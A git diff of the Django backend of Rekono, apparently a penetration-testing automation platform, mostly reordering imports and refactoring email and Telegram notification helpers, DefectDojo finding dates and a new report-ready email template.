DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -77,9 +78,9 @@ def defect_dojo(self) -> Dict[str, Any]: [field for field in [self.address, self.os_type] if field] ), "severity": Severity.INFO, - "date": self.last_seen.strftime( - DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -136,9 +137,9 @@ def defect_dojo(self) -> Dict[str, Any]: if self.host else description, "severity": Severity.INFO, - "date": self.last_seen.strftime( - DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -222,9 +223,9 @@ def defect_dojo(self) -> Dict[str, Any]: "title": "Path discovered", "description": description, "severity": Severity.INFO, - "date": self.last_seen.strftime( - DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -282,9 +283,9 @@ def defect_dojo(self) -> Dict[str, Any]: "severity": Severity.LOW, "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor "references": self.reference, - "date": self.last_seen.strftime( - DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -328,9 +329,9 @@ def defect_dojo(self) -> Dict[str, Any]: ), "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor "severity": Severity.HIGH, - "date": self.last_seen.strftime( - DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -385,9 +386,9 @@ def defect_dojo(self) -> Dict[str, Any]: "cve": self.cve, "cwe": int(self.cwe.split("-", 1)[1]) if self.cwe else None, "references": self.reference, - "date": self.last_seen.strftime( - DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -431,9 +432,9 @@ def defect_dojo(self) -> Dict[str, Any]: if self.vulnerability else Severity.MEDIUM, "references": self.reference, - "date": self.last_seen.strftime( - DefectDojoSettings.objects.first().date_format - ), + "date": ( + self.executions.order_by("-end").first().end or timezone.now() + ).strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index 721cde600..3b94610ff 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -2,15 +2,16 @@ from typing import List from django_rq import job +from rq.job import Job + from executions.models import Execution from findings.models import Finding from framework.queues import BaseQueue from platforms.defect_dojo.integrations import DefectDojo +from platforms.hacktricks import HackTricks from platforms.mail.notifications import SMTP from platforms.nvd_nist import NvdNist from platforms.telegram_app.notifications.notifications import Telegram -from platforms.hacktricks import HackTricks -from rq.job import Job logger = logging.getLogger() diff --git a/src/backend/findings/urls.py b/src/backend/findings/urls.py index f4aa78938..8a023b142 100644 --- a/src/backend/findings/urls.py +++ b/src/backend/findings/urls.py @@ -1,3 +1,5 @@ +from rest_framework.routers import SimpleRouter + from findings.views import ( CredentialViewSet, ExploitViewSet, @@ -8,7 +10,6 @@ TechnologyViewSet, VulnerabilityViewSet, ) -from rest_framework.routers import SimpleRouter # Register your views here. diff --git a/src/backend/findings/views.py b/src/backend/findings/views.py index 120d0e211..3ad1b339f 100644 --- a/src/backend/findings/views.py +++ b/src/backend/findings/views.py @@ -1,4 +1,9 @@ from drf_spectacular.utils import extend_schema +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.request import Request +from rest_framework.response import Response + from findings.enums import OSINTDataType from findings.filters import ( CredentialFilter, @@ -39,10 +44,6 @@ TriageVulnerabilitySerializer, VulnerabilitySerializer, ) -from rest_framework import status -from rest_framework.decorators import action -from rest_framework.request import Request -from rest_framework.response import Response from targets.serializers import TargetSerializer # Create your views here. diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index bbecbd415..f528c8647 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -1,10 +1,11 @@ import importlib -from typing import Any, Dict, List, Optional, Callable, cast +from typing import Any, Callable, Dict, List, Optional, cast import requests import urllib3 from django.db import models from django.db.models import Q + from rekono.settings import AUTH_USER_MODEL, CONFIG from security.cryptography.encryption import Encryptor diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index 6855cc60c..18cf155b5 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -1,11 +1,11 @@ import logging -from typing import Any, List, Callable +from typing import Any, Callable, List from urllib.parse import urlparse import requests -from integrations.models import Integration from executions.models import Execution from findings.framework.models import Finding +from integrations.models import Integration from requests.adapters import HTTPAdapter, Retry from users.enums import Notification @@ -63,7 +63,23 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non class BaseNotification(BasePlatform): enable_field = "" - def _get_users_to_notify(self, execution: Execution) -> List[Any]: + def is_enabled(self, user: Any) -> bool: + return getattr(user, self.enable_field) + + def _notify(self, users: List[Any], *args: Any, **kwargs: Any) -> None: + pass + + def _notify_if_available(self, users: List[Any], *args: Any, **kwargs: Any) -> None: + if self.is_available(): + self._notify(users, *args, **kwargs) + + def _notify_if_enabled(self, users: List[Any], *args: Any, **kwargs: Any) -> None: + if self.is_available(): + for user in users: + if self.is_enabled(user): + self._notify([user], *args, **kwargs) + + def _get_users_to_notify_execution(self, execution: Execution) -> List[Any]: users = set() if ( execution.task.executor.notification_scope != Notification.DISABLED @@ -87,5 +103,5 @@ def _notify_execution( def process_findings(self, execution: Execution, findings: List[Finding]) -> None: super().process_findings(execution, findings) - users = self._get_users_to_notify(execution) + users = self._get_users_to_notify_execution(execution) self._notify_execution(users, execution, findings) diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py index 449d09278..1afd7d22d 100644 --- a/src/backend/framework/queues.py +++ b/src/backend/framework/queues.py @@ -3,12 +3,13 @@ from typing import Any, Dict, List import django_rq +from rq.job import Job +from rq.queue import Queue + from findings.framework.models import Finding from framework.models import BaseInput from input_types.models import InputType from parameters.models import InputTechnology, InputVulnerability -from rq.job import Job -from rq.queue import Queue from target_ports.models import TargetPort from tools.models import Input, Tool from wordlists.models import Wordlist diff --git a/src/backend/framework/serializers.py b/src/backend/framework/serializers.py index 9016b56d1..d997e976c 100644 --- a/src/backend/framework/serializers.py +++ b/src/backend/framework/serializers.py @@ -1,6 +1,7 @@ from typing import Any from rest_framework.serializers import ModelSerializer, SerializerMethodField + from users.models import User diff --git a/src/backend/input_types/admin.py b/src/backend/input_types/admin.py index c4d0a0cf3..168e97c1a 100644 --- a/src/backend/input_types/admin.py +++ b/src/backend/input_types/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from input_types.models import InputType # Register your models here. diff --git a/src/backend/input_types/apps.py b/src/backend/input_types/apps.py index ee32ab439..4971ce40c 100644 --- a/src/backend/input_types/apps.py +++ b/src/backend/input_types/apps.py @@ -1,6 +1,7 @@ from pathlib import Path from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/input_types/enums.py b/src/backend/input_types/enums.py index 4c881b57e..a608d5f23 100644 --- a/src/backend/input_types/enums.py +++ b/src/backend/input_types/enums.py @@ -1,16 +1,14 @@ -from django.db import models +from django.db.models import TextChoices -class InputTypeName(models.TextChoices): - """Input type names, related to findings and wordlists.""" - +class InputTypeName(TextChoices): OSINT = "OSINT" HOST = "Host" PORT = "Port" PATH = "Path" TECHNOLOGY = "Technology" + CREDENTIAL = "Credential" VULNERABILITY = "Vulnerability" EXPLOIT = "Exploit" - CREDENTIAL = "Credential" WORDLIST = "Wordlist" AUTHENTICATION = "Authentication" diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index e207f1899..dd593c044 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -1,7 +1,8 @@ -from typing import List, Self, Optional +from typing import List, Optional, Self from django.apps import apps from django.db import models + from framework.models import BaseInput, BaseModel from input_types.enums import InputTypeName diff --git a/src/backend/input_types/serializers.py b/src/backend/input_types/serializers.py index 3fb5e5062..5d5739c59 100644 --- a/src/backend/input_types/serializers.py +++ b/src/backend/input_types/serializers.py @@ -1,6 +1,7 @@ -from input_types.models import InputType from rest_framework.serializers import ModelSerializer +from input_types.models import InputType + class InputTypeSerializer(ModelSerializer): """Serializer to get the input type data via API.""" diff --git a/src/backend/integrations/admin.py b/src/backend/integrations/admin.py index 8b72c7cb5..184f16475 100644 --- a/src/backend/integrations/admin.py +++ b/src/backend/integrations/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from integrations.models import Integration # Register your models here. diff --git a/src/backend/integrations/apps.py b/src/backend/integrations/apps.py index 2155a6925..7c09f53a2 100644 --- a/src/backend/integrations/apps.py +++ b/src/backend/integrations/apps.py @@ -2,6 +2,7 @@ from typing import Any from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/integrations/filters.py b/src/backend/integrations/filters.py index 9c80cc751..f5cba8824 100644 --- a/src/backend/integrations/filters.py +++ b/src/backend/integrations/filters.py @@ -1,6 +1,7 @@ -from integrations.models import Integration from django_filters.rest_framework import FilterSet +from integrations.models import Integration + class IntegrationFilter(FilterSet): class Meta: diff --git a/src/backend/integrations/models.py b/src/backend/integrations/models.py index 45b66ddc6..0ffe32c9b 100644 --- a/src/backend/integrations/models.py +++ b/src/backend/integrations/models.py @@ -1,4 +1,5 @@ from django.db import models + from framework.models import BaseModel # Create your models here. diff --git a/src/backend/integrations/serializers.py b/src/backend/integrations/serializers.py index aea266e11..488c68174 100644 --- a/src/backend/integrations/serializers.py +++ b/src/backend/integrations/serializers.py @@ -1,4 +1,5 @@ from rest_framework.serializers import ModelSerializer + from integrations.models import Integration diff --git a/src/backend/integrations/urls.py b/src/backend/integrations/urls.py index e79eb0a39..350454ce9 100644 --- a/src/backend/integrations/urls.py +++ b/src/backend/integrations/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from integrations.views import IntegrationViewSet # Register your views here. diff --git a/src/backend/integrations/views.py b/src/backend/integrations/views.py index 1c0c398b6..19aafed9f 100644 --- a/src/backend/integrations/views.py +++ b/src/backend/integrations/views.py @@ -1,9 +1,10 @@ -from framework.views import BaseViewSet from rest_framework.permissions import IsAuthenticated -from security.authorization.permissions import RekonoModelPermission + +from framework.views import BaseViewSet +from integrations.filters import IntegrationFilter from integrations.models import Integration from integrations.serializers import IntegrationSerializer -from integrations.filters import IntegrationFilter +from security.authorization.permissions import RekonoModelPermission # Create your views here. @@ -13,4 +14,6 @@ class IntegrationViewSet(BaseViewSet): serializer_class = IntegrationSerializer filterset_class = IntegrationFilter permission_classes = [IsAuthenticated, RekonoModelPermission] + search_fields = ["name", "description"] + ordering_fields = ["id", "name", "enabled"] http_method_names = ["get", "put"] diff --git a/src/backend/notes/admin.py b/src/backend/notes/admin.py index c3d289f0f..09e3577c7 100644 --- a/src/backend/notes/admin.py +++ b/src/backend/notes/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from notes.models import Note # Register your models here. diff --git a/src/backend/notes/apps.py b/src/backend/notes/apps.py index 850fdefc5..37b875eb3 100644 --- a/src/backend/notes/apps.py +++ b/src/backend/notes/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/notes/filters.py b/src/backend/notes/filters.py index 594146f40..a7e585b9e 100644 --- a/src/backend/notes/filters.py +++ b/src/backend/notes/filters.py @@ -1,11 +1,12 @@ -from projects.models import Project +from django_filters.filters import BooleanFilter, CharFilter + from framework.filters import ( LikeFilter, MultipleFieldFilterSet, MultipleModelChoiceFilter, ) from notes.models import Note -from django_filters.filters import CharFilter, BooleanFilter +from projects.models import Project class NoteFilter(LikeFilter, MultipleFieldFilterSet): diff --git a/src/backend/notes/models.py b/src/backend/notes/models.py index 63a0fa8e6..081c084d3 100644 --- a/src/backend/notes/models.py +++ b/src/backend/notes/models.py @@ -1,12 +1,13 @@ from typing import Any -from targets.models import Target -from framework.models import BaseLike -from django.db import models -from projects.models import Project +from django.db import models from taggit.managers import TaggableManager + +from framework.models import BaseLike +from projects.models import Project from rekono.settings import AUTH_USER_MODEL from security.validators.input_validator import Regex, Validator +from targets.models import Target class Note(BaseLike): diff --git a/src/backend/notes/serializers.py b/src/backend/notes/serializers.py index d0c3d685f..5f1e9dcb8 100644 --- a/src/backend/notes/serializers.py +++ b/src/backend/notes/serializers.py @@ -1,9 +1,11 @@ -from notes.models import Note from typing import Any, Dict + from taggit.serializers import TaggitSerializer + +from framework.fields import TagField from framework.serializers import LikeSerializer +from notes.models import Note from users.serializers import SimpleUserSerializer -from framework.fields import TagField class NoteSerializer(TaggitSerializer, LikeSerializer): diff --git a/src/backend/notes/urls.py b/src/backend/notes/urls.py index 170c97246..f7bd4134c 100644 --- a/src/backend/notes/urls.py +++ b/src/backend/notes/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from notes.views import NoteViewSet router = SimpleRouter() diff --git a/src/backend/notes/views.py b/src/backend/notes/views.py index f35b71f53..745c07aab 100644 --- a/src/backend/notes/views.py +++ b/src/backend/notes/views.py @@ -1,24 +1,24 @@ -from django.db.models import QuerySet, Q +from typing import Any, Dict, Optional, cast + +from django.db.models import Q, QuerySet +from drf_spectacular.utils import extend_schema +from rest_framework.decorators import action +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.status import HTTP_201_CREATED from framework.views import LikeViewSet -from typing import cast -from targets.models import Target -from notes.models import Note from notes.filters import NoteFilter +from notes.models import Note from notes.serializers import NoteSerializer -from rest_framework.permissions import IsAuthenticated +from projects.models import Project from security.authorization.permissions import ( OwnerPermission, - RekonoModelPermission, ProjectMemberPermission, + RekonoModelPermission, ) -from drf_spectacular.utils import extend_schema -from rest_framework.status import HTTP_201_CREATED -from rest_framework.decorators import action -from rest_framework.request import Request -from rest_framework.response import Response -from projects.models import Project -from typing import Dict, Any, Optional +from targets.models import Target # Create your views here. diff --git a/src/backend/parameters/admin.py b/src/backend/parameters/admin.py index 3d455bef2..4a427cd46 100644 --- a/src/backend/parameters/admin.py +++ b/src/backend/parameters/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from parameters.models import InputTechnology, InputVulnerability # Register your models here. diff --git a/src/backend/parameters/apps.py b/src/backend/parameters/apps.py index 6e8fc3ad9..79b861875 100644 --- a/src/backend/parameters/apps.py +++ b/src/backend/parameters/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/parameters/filters.py b/src/backend/parameters/filters.py index 8fdda898a..737f872a2 100644 --- a/src/backend/parameters/filters.py +++ b/src/backend/parameters/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet + from parameters.models import InputTechnology, InputVulnerability from projects.models import Project diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 302243837..4cf1dcfb2 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -1,6 +1,7 @@ from typing import Any, Dict from django.db import models + from framework.enums import InputKeyword from framework.models import BaseInput from security.validators.input_validator import Regex, Validator diff --git a/src/backend/parameters/serializers.py b/src/backend/parameters/serializers.py index 21fce3f7a..8df9bece7 100644 --- a/src/backend/parameters/serializers.py +++ b/src/backend/parameters/serializers.py @@ -1,6 +1,7 @@ -from parameters.models import InputTechnology, InputVulnerability from rest_framework.serializers import ModelSerializer +from parameters.models import InputTechnology, InputVulnerability + class InputTechnologySerializer(ModelSerializer): """Serializer to manage input technologies via API.""" diff --git a/src/backend/parameters/urls.py b/src/backend/parameters/urls.py index 2d163438c..5991ccf6b 100644 --- a/src/backend/parameters/urls.py +++ b/src/backend/parameters/urls.py @@ -1,6 +1,7 @@ -from parameters.views import InputTechnologyViewSet, InputVulnerabilityViewSet from rest_framework.routers import SimpleRouter +from parameters.views import InputTechnologyViewSet, InputVulnerabilityViewSet + router = SimpleRouter() router.register("parameters/technologies", InputTechnologyViewSet) router.register("parameters/vulnerabilities", InputVulnerabilityViewSet) diff --git a/src/backend/parameters/views.py b/src/backend/parameters/views.py index 830b48bfa..12c6f81a4 100644 --- a/src/backend/parameters/views.py +++ b/src/backend/parameters/views.py @@ -1,3 +1,5 @@ +from rest_framework.permissions import IsAuthenticated + from framework.views import BaseViewSet from parameters.filters import InputTechnologyFilter, InputVulnerabilityFilter from parameters.models import InputTechnology, InputVulnerability @@ -5,7 +7,6 @@ InputTechnologySerializer, InputVulnerabilitySerializer, ) -from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, diff --git a/src/backend/platforms/defect_dojo/admin.py b/src/backend/platforms/defect_dojo/admin.py index 056fc8b02..d7b92f8e8 100644 --- a/src/backend/platforms/defect_dojo/admin.py +++ b/src/backend/platforms/defect_dojo/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from platforms.defect_dojo.models import ( DefectDojoSettings, DefectDojoSync, diff --git a/src/backend/platforms/defect_dojo/apps.py b/src/backend/platforms/defect_dojo/apps.py index ba000f846..c1f314160 100644 --- a/src/backend/platforms/defect_dojo/apps.py +++ b/src/backend/platforms/defect_dojo/apps.py @@ -2,6 +2,7 @@ from typing import Any, List from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index 363641fb9..3204b8c5a 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -1,9 +1,11 @@ from datetime import timedelta from pathlib import Path as PathFile -from typing import Any, Dict, List, Callable, Optional +from typing import Any, Callable, Dict, List, Optional import requests from django.utils import timezone +from requests.exceptions import HTTPError + from executions.models import Execution from findings.enums import PathType, Severity from findings.framework.models import Finding @@ -14,7 +16,6 @@ DefectDojoSync, DefectDojoTargetSync, ) -from requests.exceptions import HTTPError from targets.models import Target diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index 13aea5f02..ef832acfd 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -1,5 +1,6 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models + from framework.models import BaseEncrypted, BaseModel from projects.models import Project from security.validators.input_validator import Regex, Validator diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index 365ea3786..23b55e807 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -3,14 +3,6 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.forms import ValidationError from django.shortcuts import get_object_or_404 -from framework.fields import ProtectedSecretField -from platforms.defect_dojo.integrations import DefectDojo -from platforms.defect_dojo.models import ( - DefectDojoSettings, - DefectDojoSync, - DefectDojoTargetSync, -) -from projects.models import Project from rest_framework.serializers import ( CharField, IntegerField, @@ -19,6 +11,15 @@ Serializer, SerializerMethodField, ) + +from framework.fields import ProtectedSecretField +from platforms.defect_dojo.integrations import DefectDojo +from platforms.defect_dojo.models import ( + DefectDojoSettings, + DefectDojoSync, + DefectDojoTargetSync, +) +from projects.models import Project from security.validators.input_validator import Regex, Validator diff --git a/src/backend/platforms/defect_dojo/urls.py b/src/backend/platforms/defect_dojo/urls.py index a5ca31bcf..6b2309fca 100644 --- a/src/backend/platforms/defect_dojo/urls.py +++ b/src/backend/platforms/defect_dojo/urls.py @@ -1,3 +1,5 @@ +from rest_framework.routers import SimpleRouter + from platforms.defect_dojo.views import ( DefectDojoEngagementViewSet, DefectDojoProductTypeViewSet, @@ -5,7 +7,6 @@ DefectDojoSettingsViewSet, DefectDojoSyncViewSet, ) -from rest_framework.routers import SimpleRouter # Register your views here. diff --git a/src/backend/platforms/defect_dojo/views.py b/src/backend/platforms/defect_dojo/views.py index 4d629088f..0718a2d5e 100644 --- a/src/backend/platforms/defect_dojo/views.py +++ b/src/backend/platforms/defect_dojo/views.py @@ -1,3 +1,8 @@ +from rest_framework import status +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response + from framework.views import BaseViewSet from platforms.defect_dojo.models import DefectDojoSettings, DefectDojoSync from platforms.defect_dojo.serializers import ( @@ -7,10 +12,6 @@ DefectDojoSettingsSerializer, DefectDojoSyncSerializer, ) -from rest_framework import status -from rest_framework.permissions import IsAuthenticated -from rest_framework.request import Request -from rest_framework.response import Response from security.authorization.permissions import ( IsAuditor, ProjectMemberPermission, diff --git a/src/backend/platforms/hacktricks.py b/src/backend/platforms/hacktricks.py index 9aa29b6c6..686788b96 100644 --- a/src/backend/platforms/hacktricks.py +++ b/src/backend/platforms/hacktricks.py @@ -1,10 +1,12 @@ from typing import List, Optional -from findings.enums import HostOS + +import defusedxml.ElementTree as parser + from executions.models import Execution +from findings.enums import HostOS from findings.framework.models import Finding from findings.models import Host, Port, Technology from framework.platforms import BaseIntegration -import defusedxml.ElementTree as parser class HackTricks(BaseIntegration): @@ -84,7 +86,9 @@ def __init__(self) -> None: self.all_links = self._get_all_hacktricks_links() def _get_all_hacktricks_links(self) -> List[str]: - sitemap = self._request(self.hacktricks_sitemap_url, json=False) + sitemap = self._request( + self.session.get, self.hacktricks_sitemap_url, json=False + ) return [url[0].text for url in parser.fromstring(sitemap.text).getroot()] def _get_mapped_value_for_service(self, service: str) -> Optional[str]: diff --git a/src/backend/platforms/mail/admin.py b/src/backend/platforms/mail/admin.py index e6545f57a..0ec0fda8e 100644 --- a/src/backend/platforms/mail/admin.py +++ b/src/backend/platforms/mail/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from platforms.mail.models import SMTPSettings # Register your models here. diff --git a/src/backend/platforms/mail/apps.py b/src/backend/platforms/mail/apps.py index f674e6376..75c79f84d 100644 --- a/src/backend/platforms/mail/apps.py +++ b/src/backend/platforms/mail/apps.py @@ -2,6 +2,7 @@ from typing import Any, List from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/platforms/mail/models.py b/src/backend/platforms/mail/models.py index 94fb9237d..1490899f8 100644 --- a/src/backend/platforms/mail/models.py +++ b/src/backend/platforms/mail/models.py @@ -1,5 +1,6 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models + from framework.models import BaseEncrypted from security.validators.input_validator import Regex, Validator diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index e6dedac06..e9cb11f75 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -53,13 +53,6 @@ def is_available(self) -> bool: except Exception: return False - def _send_messages_in_background( - self, users: List[Any], subject: str, template: str, data: Dict[str, Any] - ) -> None: - threading.Thread( - target=self._send_messages, args=(users, subject, template, data) - ).start() - def _send_messages( self, users: List[Any], subject: str, template_path: str, data: Dict[str, Any] ) -> None: @@ -70,12 +63,29 @@ def _send_messages( subject, "", "Rekono ", [u.email for u in users] ) template = get_template(template_path) - data["rekono_url"] = CONFIG.frontend_url - # nosemgrep: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2 - message.attach_alternative(template.render(data), "text/html") + message.attach_alternative( + # nosemgrep: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2 + template.render({**data, "rekono_url": CONFIG.frontend_url}), + "text/html", + ) self.backend.send_messages([message]) - except Exception: - logger.error("[Mail] Error sending email message") + except Exception as ex: + logger.error(f"[Mail] Error sending email message: {str(ex)}") + + def _notify( + self, + users: List[Any], + subject: str, + template: str, + data: Dict[str, Any], + background: bool = True, + ) -> None: + if background: + threading.Thread( + target=self._send_messages, args=(users, subject, template, data) + ).start() + else: + self._send_messages(users, subject, template, data) def _notify_execution( self, users: List[Any], execution: Execution, findings: List[Finding] @@ -85,7 +95,7 @@ def _notify_execution( if findings.__class__.__name__.lower() not in findings_by_class: findings_by_class[findings.__class__.__name__.lower()] = [] findings_by_class[findings.__class__.__name__.lower()].append(finding) - self._send_messages( + self._notify_if_available( users, f"[Rekono] {execution.configuration.tool.name} execution completed", "execution_notification.html", @@ -93,10 +103,11 @@ def _notify_execution( "execution": execution, **findings_by_class, }, + background=False, ) def invite_user(self, user: Any, otp: str) -> None: - self._send_messages_in_background( + self._notify_if_available( [user], "Welcome to Rekono", "user_invitation.html", @@ -104,7 +115,7 @@ def invite_user(self, user: Any, otp: str) -> None: ) def reset_password(self, user: Any, otp: str) -> None: - self._send_messages_in_background( + self._notify_if_available( [user], "Reset Rekono password", "user_password_reset.html", @@ -112,7 +123,7 @@ def reset_password(self, user: Any, otp: str) -> None: ) def enable_user_account(self, user: Any, otp: str) -> None: - self._send_messages_in_background( + self._notify_if_available( [user], "Rekono user enabled", "user_enable_account.html", @@ -120,17 +131,25 @@ def enable_user_account(self, user: Any, otp: str) -> None: ) def login_notification(self, user: Any) -> None: - self._send_messages_in_background( + self._notify_if_available( [user], "New login in your Rekono account", "user_login_notification.html", - data={"time": timezone.now().strftime(self.datetime_format)}, + {"time": timezone.now().strftime(self.datetime_format)}, ) def telegram_linked_notification(self, user: Any) -> None: - self._send_messages_in_background( + self._notify_if_available( [user], "Welcome to Rekono Bot", "user_telegram_linked_notification.html", - data={"time": timezone.now().strftime(self.datetime_format)}, + {"time": timezone.now().strftime(self.datetime_format)}, + ) + + def report_created(self, report: Any) -> None: + self._notify_if_enabled( + [report.user], + f"{report.format.upper()} report is ready", + "report_created.html", + {"report": report}, ) diff --git a/src/backend/platforms/mail/serializers.py b/src/backend/platforms/mail/serializers.py index 7a9a9bb2e..55e6dc1f2 100644 --- a/src/backend/platforms/mail/serializers.py +++ b/src/backend/platforms/mail/serializers.py @@ -1,7 +1,8 @@ +from rest_framework.serializers import ModelSerializer, SerializerMethodField + from framework.fields import ProtectedSecretField from platforms.mail.models import SMTPSettings from platforms.mail.notifications import SMTP -from rest_framework.serializers import ModelSerializer, SerializerMethodField from security.validators.input_validator import Regex, Validator diff --git a/src/backend/platforms/mail/templates/execution_notification.html b/src/backend/platforms/mail/templates/execution_notification.html index 2f5a72ac2..4ead2091b 100644 --- a/src/backend/platforms/mail/templates/execution_notification.html +++ b/src/backend/platforms/mail/templates/execution_notification.html @@ -146,7 +146,6 @@

{{ execution.task.target.project.name }}

Type Path Status - Extra @@ -162,7 +161,6 @@

{{ execution.task.target.project.name }}

{{ p.type }} {{ p.path }} {{ p.status }} - {{ p.extra }} {% endfor %} @@ -227,7 +225,7 @@

{{ execution.task.target.project.name }}

{{ c.email }} {{ c.username }} {{ c.secret }} - {{ c.secret }} + {{ c.context }} {% endfor %} diff --git a/src/backend/platforms/mail/templates/report_created.html b/src/backend/platforms/mail/templates/report_created.html new file mode 100644 index 000000000..96b14de1e --- /dev/null +++ b/src/backend/platforms/mail/templates/report_created.html @@ -0,0 +1,32 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

Your Rekono report is ready

+ {% if e.task %} +

{{ report.format|upper }} report with ID {{ report.id }} from task {{ report.task.id }} has been created and it's available to download it

+ + Reports + {% elif e.target %} +

{{ report.format|upper }} report with ID {{ report.id }} from target {{ report.target.target }} has been created and it's available to download it

+ + Reports + {% else %} +

{{ report.format|upper }} report with ID {{ report.id }} from project {{ report.project.name }} has been created and it's available to download it

+ + Reports + {% endif %} +
+
+ + \ No newline at end of file diff --git a/src/backend/platforms/mail/urls.py b/src/backend/platforms/mail/urls.py index 72f4a81ce..64ea59410 100644 --- a/src/backend/platforms/mail/urls.py +++ b/src/backend/platforms/mail/urls.py @@ -1,6 +1,7 @@ -from platforms.mail.views import SMTPSettingsViewSet from rest_framework.routers import SimpleRouter +from platforms.mail.views import SMTPSettingsViewSet + # Register your views here. router = SimpleRouter() diff --git a/src/backend/platforms/mail/views.py b/src/backend/platforms/mail/views.py index e9626986e..cc32a7162 100644 --- a/src/backend/platforms/mail/views.py +++ b/src/backend/platforms/mail/views.py @@ -1,7 +1,8 @@ +from rest_framework.permissions import IsAuthenticated + from framework.views import BaseViewSet from platforms.mail.models import SMTPSettings from platforms.mail.serializers import SMTPSettingsSerializer -from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import RekonoModelPermission # Create your views here. diff --git a/src/backend/platforms/telegram_app/admin.py b/src/backend/platforms/telegram_app/admin.py index e27e0b679..20e57fd6b 100644 --- a/src/backend/platforms/telegram_app/admin.py +++ b/src/backend/platforms/telegram_app/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from platforms.telegram_app.models import TelegramChat, TelegramSettings # Register your models here. diff --git a/src/backend/platforms/telegram_app/apps.py b/src/backend/platforms/telegram_app/apps.py index 516065cd5..5250ac676 100644 --- a/src/backend/platforms/telegram_app/apps.py +++ b/src/backend/platforms/telegram_app/apps.py @@ -2,6 +2,7 @@ from typing import Any, List from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/platforms/telegram_app/bot/bot.py b/src/backend/platforms/telegram_app/bot/bot.py index a6014b88b..48250f658 100644 --- a/src/backend/platforms/telegram_app/bot/bot.py +++ b/src/backend/platforms/telegram_app/bot/bot.py @@ -3,6 +3,10 @@ import time from warnings import filterwarnings +from telegram.error import Forbidden, InvalidToken +from telegram.ext import Application +from telegram.warnings import PTBUserWarning + from platforms.telegram_app.bot.commands import 